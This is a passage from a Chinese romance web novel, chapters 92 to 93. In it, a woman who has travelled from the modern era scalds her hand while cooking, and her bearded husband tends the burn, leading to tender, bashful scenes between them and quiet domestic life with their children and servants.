林若若挽起袖子,露出两截雪白的小臂,用竹筷去捞那肥嫩的鸡身。
她想给大家做一道凉拌鸡丝,再做一道鸡丝凉面。
热雾扑在她脸上,鼻尖沁出细密的汗珠。
谁知那鸡刚离汤水,滚烫的汁子便顺着筷子淌下来,正正滴在她虎口上。
“呀!”她轻呼一声,手指一颤,整只鸡“啪嗒”落回汤里,溅起的热汤星星点点烫在手背上。
院中正劈柴的赵长风听见这声短促的惊叫,心头猛地一紧。
待他冲进灶房时,只见林若若蹙着眉对着通红的手背吹气,眼里浮着一层薄薄的水光。
“怎么了?”他声音发紧,两步便跨到她身前。
“不妨事,就是溅着点儿……”林若若话音未落,手腕已被他轻轻握住。
那只手温软纤细,此刻虎口处已红了一片,手背上几点明晃晃的水泡正鼓起来。
赵长风想也没想,低头便将她烫伤的手指含入口中——乡野长大的孩子都晓得,唾沫能缓烫伤的灼痛。
温热的触感包裹指尖的刹那,两人都僵住了……
第92章 萌动~
林若若怔怔看着他低垂的睫毛,手背上传来湿润柔软的触感,竟真觉那火辣辣的疼消退了几分。
可随即涌上心头的是更汹涌的热浪——从被他含住的指尖,一路烧到耳根,烧得她整个人都懵了。
赵长风这才醒过神来。
他在做什么?
他竟含着她的手指!
那指尖还带着鸡汤的鲜香,柔嫩得像是初春的笋尖。
他慌忙松口,抬头时正撞上她迷蒙的眸子。
灶膛里的火噼啪响了一声。
两人脸对着脸,不过寸许距离。
她颊上飞红如晚霞浸染,他耳根红得像要滴血。
交握的手还悬在半空,他的掌心滚烫,她的指尖微颤,方才那片刻湿暖的触感,竟比烫伤更灼人。
蒸汽仍在灶台上方袅袅升腾,炖鸡的香气越发浓了。
门帘外漏进的日光里,尘埃缓缓浮动。
也不知过了多久,或许只是一瞬,赵长风猛地松开手,向后踉跄半步:“我、我去找獾油……”声音干涩得不像自己的。
林若若垂下眼帘,轻轻“嗯”了一声,将被烫伤的手悄悄藏到身后。
方才被他含过的手指蜷进掌心,那点湿意久久不散,反倒像烙印般烫进心里去了。
灶上的陶罐又咕嘟了一声,白汽顶起木盖,水珠顺着罐沿缓缓滑落,在灶台上洇开一小片深色的湿痕。
而正在烧火的梁石,还有正在切菜的秦阿兰也不知去哪里了……
林若若伸出没有烫伤的手,捂住了自己的眼睛!她是从现代而来,没想到竟然会因为这个脸红成这样!
“哎呀!羞**啦!”林若若低头浅笑,吹了吹自己的伤处,心头柔软。
“嫂嫂,怎么做,你告诉我,我来!”秦阿兰的声音在耳边响起,惊醒了沉浸在旖旎中的林若若。
“做汤面就行。”
林若若刚要说话,就被人拦腰抱起,往灶房外走去,留下的是赵长风一向冷硬的声音。
秦阿兰看向赵长风抱着林若若的高大的背影,和烧火的梁石对视一眼,露出了姨母般的笑意。
“你要干嘛?!”第一次被赵长风抱在温暖宽阔又满是男人气息的怀里,林若若害羞地别开了脸。
赵长风络腮胡子之外,耳垂红红的,“给你抹药!”
“爹,娘……”正在院子门口玩小石子的小静,看见了爹爹抱着娘亲的身影,跌跌撞撞地站起来,就要追过去。
“小静!”赵林一把抱住她,看了一眼同样眼神的赵峰,悄悄地说,“你们想要她一直留在咱们家,做咱们的母亲吗?”
赵峰和小静瞪着大大的、明亮的、清澈的眼睛,用力点了点头。
赵林把小静放到地上站好,看着两人懵懂的眼睛,蹲在他们面前,
“那爹娘在一起的时候,我们就不要去,只有爹爹对娘亲好,娘亲才能永远留下来。明白了没有?”
赵峰的小眼睛立刻亮了起来,“哥,我知道啦!只要看到爹娘在一起,我就不去捣蛋!妹妹,你知道了吗?”
“小静也知道啦!”小静有些白里透红的脸蛋,洋溢着欢快的笑容。
而这笑容,也是她,林若若来了之后才有的。
赵林的心又软了几分~
赵长风抱着林若若回了卧房。
卧房里的蜡烛已经被点亮了,屋里仍然是林若若刚来时布置的一片大红色。
弯腰把林若若放在床边,赵长风从桌上拿起一个小罐子,打开盖子,然后单膝跪在床前,用一个小竹片抹了一些,然**着林若若的手,小心地抹到了她的伤口处,再用干净的布条包好。
烛光摇曳中,赵长风的胡子掩盖了他的容颜,只留下那双牵挂和担心的眸子。
“这点伤,没事的。”林若若看着他着急的样子,小心宽慰。
“这几天不能见水,你什么事都不要做,需要做什么事,就让秦娘子去做,或者我去做。”赵长风站起来放好小竹片,盖好盖子。
“不能什么事都麻烦人家,有些事我可以的。”
“不行,听我的。”赵长风的语气依然温和。却用最温和的语气说着最严厉的话。
林若若伸出没受伤的右手,轻轻拉住了赵长风衣袖,“
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夫君~”
这一声“夫君~”,直接让赵长风丢盔弃甲,他健壮的身子猛然一顿,就僵在了原地,不知所措。
“娘子,你……你莫要多想,我实话告诉你,梁石和秦娘子是我买回来的,是咱们家的下人,所以你不用多想,有事就让他们去干就行。”
林若若看着他如毛头小子一般,声音还有些颤抖,心中也软的一塌糊涂。
“是为了我吗?”林若若不敢置信,因为当初家中无人照顾孩子,他也只是花银子请邻居来帮忙。
“也不全是,家里事多……”
赵长风低低地回了一句,然后头也不回地奔出了房门还在门槛那里绊了一下,险些摔倒……
看着他如此慌张的模样,林若若捂着脸,偷偷地笑了……
也不明白,他一个二婚的老男人,怎么还如一个毛头小子一般青涩~
灶房里,秦娘子把汤面做好的时候,山根带着乙字六人组,后面跟着自觉的甲字五人组,也回来了。
林若若调整好心情,也出了卧房的门。因为自己是右手受伤,所以不耽误吃饭。
如今甲字组的无人基本上已经老老实实了,因此他们的饭食除了窝头,咸菜,入间还加了一个汤菜。
而乙字组依然有人不服气,不服管,所以只要当天有一人不好好干,或者态度不好,或者不配合,那么全组人都没饭吃!
今日就是如此!
原本带队的护卫小队长干活的时候偷懒,山根过去提醒,居然还敢顶嘴!
所以按照若若之前所讲,乙字组今晚所有人没饭吃!
闻着外面香喷喷的饭菜香味,看着柴房另一边的甲字组吃的那么香,乙六怒了,上去就对着乙一小队长一顿拳打脚踢,让你不好好干活!让你连累大家!
其他人一看,也迅速加入其中!毕竟干了一天活,晚上还没饭吃,这是要人命啊!
反正现在他也管不了大家,而且大家如今都是赵家的下人,看样子,谁也跑不了!所以不听话就揍啊!
听着柴房里传来的声音,林若若无声地弯起了嘴角~
第93章 情热
夜深了,院子里安静下来。
孩子们早已睡熟,秦娘子和梁石也回了自己的厢房。
月光透过窗棂,洒下一地的清辉。
林若若躺在红绸被褥间,翻来覆去,手背上被布条包裹的地方隐隐传来清凉药香,可指尖残留的那点湿濡触感,却像火星子,燎得她心口发烫。
她索性坐起身,借着月光看了看自己的手指——白天被他含住的那一处,明明已经洗净,此刻却仿佛仍能感觉到那份柔软的温度。
真是……没出息。
她心里暗骂自己一句,明明是从现代来的,什么没见过,偏被个古人、还是个胡子拉碴的“老男人”,弄得方寸大乱。
可转念一想,他那双总是沉静如深潭的眼睛,慌乱起来竟也那般……动人。
还有那红透的耳根,强作镇定却磕绊的语调。
她正胡乱想着,外间传来极轻的脚步声,停在门口,犹豫着,半晌没动静。
林若若心口一跳,屏住呼吸。
“若若……睡了吗?”是赵长风压得极低的声音,隔着门板,有些闷。
“……还没。”她听见自己回答,声音也不自觉地放轻了。
门被轻轻推开一条缝,赵长风高大的身影立在门外月光与屋内黑暗的交界处,显得有些踌躇。
他没进来,只站在那儿,手里似乎拿着什么东西。
“我……找了点蜂蜜,兑了温水,”他声音干巴巴的,像在汇报军情,“秦娘子说,烫伤的人夜里口容易干,喝点蜜水润润。”
林若若心里那点莫名的燥热,忽然就被这笨拙的关切抚平了,化作一股温软的暖流。
她起身,随手披了件外衫,走到门边。
月光照亮他半边脸,络腮胡掩去了神情,只有眼睛亮得惊人,盛满了她看不分明的情绪。
他将一个粗陶碗小心递过来,碗壁温热。
“谢谢。”林若若接过,指尖不可避免地与他粗粝的指腹相触。
两人俱是一顿,又飞快分开。
她捧着碗,小口啜饮。
温甜的蜜水滑入喉间,确实熨帖。偷偷抬眼,见他仍杵在门口,身姿笔挺,手脚却不知该往哪儿放似的。
“你……不进来?”话一出口,林若若自己先怔了。这话听起来……
赵长风显然也愣了,喉结上下滚动一下,才哑声道:“我等会儿。你先睡。我还有点事。”
“知道了,办完事早点回屋。”林若若忍不住叮嘱。
“好,听你的。”赵长风的声音透着点点的笑意~
“不许熬夜。”若若的声音软软的,还带着撒娇。
他只觉得胸口被什么东西不轻不重地撞了一下,闷闷的,又胀胀的。
避开她的视线,赵长风胡乱点了个头,“知道了。”顿了顿,又补了一句,声音更哑了些,“你……快些好。”
门被轻轻合上,隔绝了两人之间流淌的、近乎粘稠的微妙气氛。
林若若背靠着冰凉的门板,听见外间传来他极力放轻的走路声。
她低头,看着碗中晃动的蜜水倒影,轻轻叹了口气,嘴角却不由自主地弯起一个弧度。
外间,赵长风出了房门,把院子周围的陷阱检查了一遍,之后站在自己和若若的窗外,居然能清晰地听得到若若清浅的呼吸。
指尖仿佛还残留着白天那抹柔嫩的触感,鼻尖似乎还萦绕着鸡汤鲜香与她身上淡淡的、说不清道不明的清冽气息混合的味道。
耳边是她那一声柔柔的“夫君”,眼前是她方才立在月光里捧着碗的模样。
他猛地闭上眼,胸膛起伏。
真是……疯了。
他想。
曾经自己心静如水,对男女之事也无多少兴趣,也对那个女人毫无兴趣。
他原本以为自己有着不能为外人道的病症,所以才在下聘的时候,要求女方不再生自己的孩子,毕竟已经有三个了。
可如今……
面对京城侯府出来的娇滴滴的小姐,他的心却不听话了~
赵长风抬手,用力搓了把脸。
掌心粗硬的胡茬扎着皮肤,带来清晰的刺痛,却压不下心头那股陌生的、躁动的热意。
他得记住,她是林若
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若,是孩子们名义上的娘,是他的……妻。
仅此而已。
可那含住她指尖时心头掠过的悸动,那抱着她时怀中轻盈温软的分量,那看着她羞红脸时自己擂鼓般的心跳……又是什么?
他转了个身,面对黑沉沉的夜空,做了一个决定。
里间,林若若重新躺下,蜜水的甜意仿佛还留在舌尖。
她听着窗外传来的、几乎微不可闻的呼吸声,第一次对这个陌生的时代、这个意外的“家”,生出了一点真实的、柔软的归属感。
或许……留在这里,也不错。
她迷迷糊糊想着,手不自觉地又滚烫起来……
夜渐深,月光静静地流淌着~
第二日清晨,晨光熹微,鸡鸣声尚未响起,灶房里已亮起暖黄的灯光。
秦娘子系着围裙,正利落地剁着肉馅,案板上传来有节奏的笃笃声。
昨日剩下的半只鸡已熬成了清亮的鸡汤,在灶上咕嘟咕嘟冒着细小的气泡,香气丝丝缕缕地飘散开来。
林若若醒得早,手背上的伤处已不再灼痛,只剩清凉的药感。
她洗漱完毕,轻手轻脚地走进灶房。
“阿兰,这么早?”她声音还带着刚醒的软糯。
秦娘子回头,朝她露出爽利的笑:“醒啦?手可好些了?我给你煮了粥,在灶上温着呢。”她手下不停,将剁好的肉馅拢进陶盆,“今日给孩子们做小馄饨,用鸡汤煮了,鲜得很。”
林若若凑近看了看,肉馅肥瘦相宜,秦娘子还细心地剁了些姜末混进去去腥。“阿兰手艺真好。”
“哪儿的话,”秦娘子笑着,“倒是你昨儿说的那个‘肉夹馍’和‘凉皮’,我琢磨了一宿,今早试了试,你瞧瞧对不对?”
她揭开另一口锅的盖子,里面是炖得酥烂的五花肉,酱色浓郁,香气扑鼻。
旁边的案板上,摆着几个烤得微黄的面饼,已经剖开一半。
林若若眼睛一亮:“就是这个!阿兰真厉害,一看就会。”她指点着,“把肉剁碎些,浇点汤汁,夹进饼里就好。凉皮呢?”